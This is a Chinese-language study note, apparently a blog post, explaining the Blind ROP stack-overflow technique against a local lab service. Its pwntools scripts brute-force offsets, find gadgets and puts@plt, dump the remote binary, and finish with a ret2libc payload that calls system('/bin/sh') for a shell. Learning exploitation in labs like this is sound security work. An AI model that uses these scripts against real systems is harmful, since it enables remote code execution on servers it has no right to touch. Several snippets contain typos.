PWN-BROP筆記
- 2020 年 3 月 6 日
- 筆記
BROP
BROP是在沒有給出題目文件的情況下,只能通過嘗試來確定棧的大小,以及其他函數啥的地址
攻擊條件
程式必須存在溢出漏洞,以便攻擊者可以控制程式流程
進程崩潰以後可以重啟,而且重啟之後的地址與先前的地址一樣
基本思路
再找到足夠多的 gadget 來控制輸出函數的參數並進行調用,利用輸出函數來dump出程式來找到更多的gadget
棧溢出
從 1 開始暴力枚舉,直到程式崩潰
Stack Reading
通過按照位元組爆破比枚舉數值更快 每個位元組最多有256種可能,所以在32位的情況下,我們最多需要爆破1024次,64位最多爆破2048次
找到canary的值
Blind ROP
調用write函數最方便的方法是系統調用號,然後syscall,然而syscall幾乎不可能
所以可以使用libc_csu_init結尾的一段gadgets來實現,同時可以使用 plt 來獲取write地址,在write的參數裡面,rdx是用來限制輸出長度的,一般不會為0,但是保險起見,可以同時設置一下,但是幾乎沒有 pop rdx 這樣的指令
可以通過 strcmp 來實現,在執行 strcmp 的時候,rdx會被設置為字元串的長度,所以只要找到 strcmp 就可以實現控制rdx
接下來要做的就是:
1、找gadgets
2、找 plt 表,比如 write、strcmp
找gadget
為了能夠找到 gadget,可以分為兩步:
1、stop gadget,當執行這一段程式碼時,程式陷入無限循環,使攻擊者一直保持連接狀態,其根本目的在於告訴攻擊者,其所測試的地址是一段gadget
2、識別gadget,這裡為了方便介紹,定義棧上的三種地址:
- Probe
探針,也就是我們想要探測的程式碼地址。一般來說,都是64位程式,可以直接從0x400000嘗試,如果不成功,有可能程式開啟了PIE保護,再不濟,就可能是程式是32位了。。這裡我還沒有特別想明白,怎麼可以快速確定遠程的位數。
- Stop
不會使得程式崩潰的stop gadget的地址。
- Trap
可以導致程式崩潰的地址,直接寫 p64(0) 就可以
通過不同順序構造一串 payload 就可以達到找到識別正在執行的指令的效果
比如:probe + trap + stop + trap + trap… 可以找到一個 pop xxx;ret 這樣的
probe + trap + trap + trap + trap + trap + trap + stop + trap + trap… 這樣的就可以找到:
pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; ret
ps. 在每個布局後面都放上 trap 是為了保證崩潰 probe 返回如果不是 stop 能夠立即崩潰
當然,我們還是很難確定它彈的哪一個暫存器,但是,一下子連續彈 6 次的很大可能性就是 brop_gadgets
這裡說的 brop_gadgets 就是之前 ret2csu 的那一部分 gadgets
同時找到的可能是一又個 stop_gadgets,可以把後面原本的 stop_gadgets 改一下,如果程式沒崩潰那就是又找了一個 stop_gadgets
找某些 plt
找到了 brop_gadgets 以後,只需要根據功能,再去遍歷地址,找到能夠實現這個功能的地址就找到了這個函數的 plt
比如:
'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
如果能過把 0x400000 的內容給輸出來就可以找到 put@plt 了
from pwn import * i=1 while 1: try: p=remote("127.0.0.1",9999) p.recvuntil("WelCome my friend,Do you know password?n") p.send('a'*i) data=p.recv() p.close() if not data.startwith('No password'): return i-1 else: return i+1 execpt EOFEror: p.close() return i-1 size=getsize() print "size is [%s]"%size
用腳本跑出來是 72

再找一個能讓程式不崩潰的地址(stop_gadgets):
from pwn import * def getStopGadgets(length): addr = 0x400000 while 1: try: sh = remote('127.0.0.1',9999) payload = 'a'*length +p64(addr) sh.recvuntil("password?n") sh.sendline(payload) output = sh.recvuntil("password?n") sh.close() print("one stop addr: 0x%x" % (addr)) if not output.startswith('WelCome'): sh.close() addr+=1 else: return addr except Exception: addr+=1 sh.close() stop_gadgets = getStopGadgets(72)
stop_gadget 找了好多個,因為我是自己實驗,有二進位文件,就看了一下反彙編,找到的 stop_gadget 地址要麼是一個函數或者 plt 的地址,要麼是一個 ret 的地址
嘗試以後,感覺有兩個: main 或者 _start 的地址比較正常,下面跑出來的是 _start 的

再去找 BROP_gadgets
from pwn import * def get_brop_gadget(length, stop_gadget, addr): try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?n') payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10 sh.sendline(payload) content = sh.recv() sh.close() print content # stop gadget returns memory if not content.startswith('WelCome'): return False return True except Exception: sh.close() return False def check_brop_gadget(length, addr): try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?n') payload = 'a' * length + p64(addr) + 'a' * 8 * 10 sh.sendline(payload) content = sh.recv() sh.close() return False except Exception: sh.close() return True length = 72 stop_gadget = 0x4005c0 addr = 0x400000 while 1: print hex(addr) if get_brop_gadget(length, stop_gadget, addr): print 'possible brop gadget: 0x%x' % addr if check_brop_gadget(length, addr): print 'success brop gadget: 0x%x' % addr break addr += 1
拿到 brop_gadgets

根據之前的:我們可以發現,從找到的 brop_gadget 其中 pop r15;ret 對應的位元組碼為41 5f c3。後兩位元組碼 5f c3 對應的彙編即為 pop rdi;ret

所以,pop rdi;ret 的地址就是 brop_gadget + 9
通過這個 gadget 把 put 的 plt 給打出來
from pwn import * ##length = getbufferflow_length() length = 72 ##get_stop_addr(length) stop_gadget = 0x4005c0 addr = 0x400740 def get_puts_addr(length, rdi_ret, stop_gadget): addr = 0x400000 while 1: print hex(addr) sh = remote('127.0.0.1', 9999) sh.recvuntil('password?n') payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget) sh.sendline(payload) try: content = sh.recv() if content.startswith('x7fELF'): print 'find puts@plt addr: 0x%x' % addr return addr sh.close() addr += 1 except Exception: sh.close() addr += 1 brop_gadget=0x4007ba rdi_ret=brop_gadget+9 get_puts_addr(72,rdi_ret,stop_gadget)

拿到了 put 的地址,就可以通過 很多次的 put 把想要的內容給 dump 出來
把程式 DUMP 下來:
from pwn import * def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget): sh = remote('127.0.0.1', 9999) payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget) sh.recvuntil('password?n') sh.sendline(payload) try: data = sh.recv() sh.close() try: data = data[:data.index("nWelCome")] except Exception: data = data if data == "": data = 'x00' return data except Exception: sh.close() return None ##length = getbufferflow_length() length = 72 ##stop_gadget = get_stop_addr(length) stop_gadget = 0x4005c0 ##brop_gadget = find_brop_gadget(length,stop_gadget) brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9 ##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget) puts_plt = 0x400555 addr = 0x400000 result = "" while addr < 0x401000: print hex(addr) data = dump(length, rdi_ret, puts_plt, addr, stop_gadget) if data is None: continue else: result += data addr += len(data) with open('code', 'wb') as f: f.write(result)
把 dump 下來的文件用 IDA 的二進位模式打開

然後把基址改成 0x400000:
編輯 -> 段 -> 重新設置基址

設置為 0x400000

在 0x400555 處,摁下 c 識別成彙編格式,可以看到 jmp 的地址是:601018h

這樣就得到了 put@got 地址,知道了這個地址,再用 libcsearch 去進行 ret2libc 就可以了
from pwn import * from LibcSearhcer import * ##length = getbufferflow_length() length = 72 ##stop_gadget = get_stop_addr(length) stop_gadget = 0x4006b6 ##brop_gadget = find_brop_gadget(length,stop_gadget) brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9 ##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget) puts_plt = 0x400560 ##leakfunction(length, rdi_ret, puts_plt, stop_gadget) puts_got = 0x601018 sh = remote('127.0.0.1', 9999) sh.recvuntil('password?n') payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget) sh.sendline(payload) data = sh.recvuntil('nWelCome', drop=True) puts_addr = u64(data.ljust(8, 'x00')) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget) sh.sendline(payload) sh.interactive()
